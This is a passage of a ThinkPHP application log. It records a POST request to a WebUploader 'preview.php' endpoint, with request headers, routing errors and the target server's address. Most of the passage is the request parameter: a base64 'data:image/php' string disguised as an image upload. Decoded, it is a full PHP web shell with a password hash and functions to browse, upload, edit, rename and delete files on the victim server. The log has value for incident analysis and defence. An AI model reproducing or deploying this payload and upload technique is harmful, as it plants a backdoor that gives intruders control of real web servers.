'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:00+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/admin/webuploader/0.1.15/server/preview.php [运行时间:0.002702s] [吞吐率:370.10req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 